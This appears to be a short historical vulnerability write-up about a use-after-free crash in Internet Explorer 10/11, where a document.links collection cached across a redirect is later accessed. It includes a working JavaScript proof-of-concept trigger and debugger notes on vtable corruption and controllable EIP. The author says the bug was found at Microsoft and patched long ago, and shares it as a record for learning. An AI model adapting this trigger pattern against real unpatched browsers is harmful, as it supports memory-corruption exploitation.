Exploitable Crash via Cached Element Collection After Redirect

By saving a reference to document.links before a server redirect, then accessing a cached link element by property after the redirect completes, the browser crashes with EXPLOITABLE classification. The number of <a> elements added beforehand affects EIP, suggesting controlled corruption.

var cachedLinks;

function main() {
    var win = window.open("redirect.aspx", "", "width=200,height=200");

    win.setTimeout('alert("Please, do not close this alert, just wait 4 seconds...")');

    var myDiv = win.document.createElement("div");
    win.document.appendChild(myDiv);

    // Adding or removing A elements changes the EXPLOITABILITY (EIP will vary).
    myDiv.innerHTML = '<a href="a">a</a><a href="a">a</a><a href="a">a</a><a href="a">a</a><a href="a">a</a>';

    cachedLinks = win.document.links;

    setTimeout('accessWindowDOM()', 4000);
}

function accessWindowDOM() {
    try {
        alert(cachedLinks[0]);
    } catch(e) {
        alert(cachedLinks[0]); // Crash
    }
}

The debugger session showed a read access violation at MSHTML!CElementCollectionTypeOperations::GetProperty with a call through a corrupted vtable pointer. The first alert(cachedLinks[0]) call sometimes fails silently; the second in the catch block reliably triggered the crash. Tested on IE10 / IE11 build 20130227-2100.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.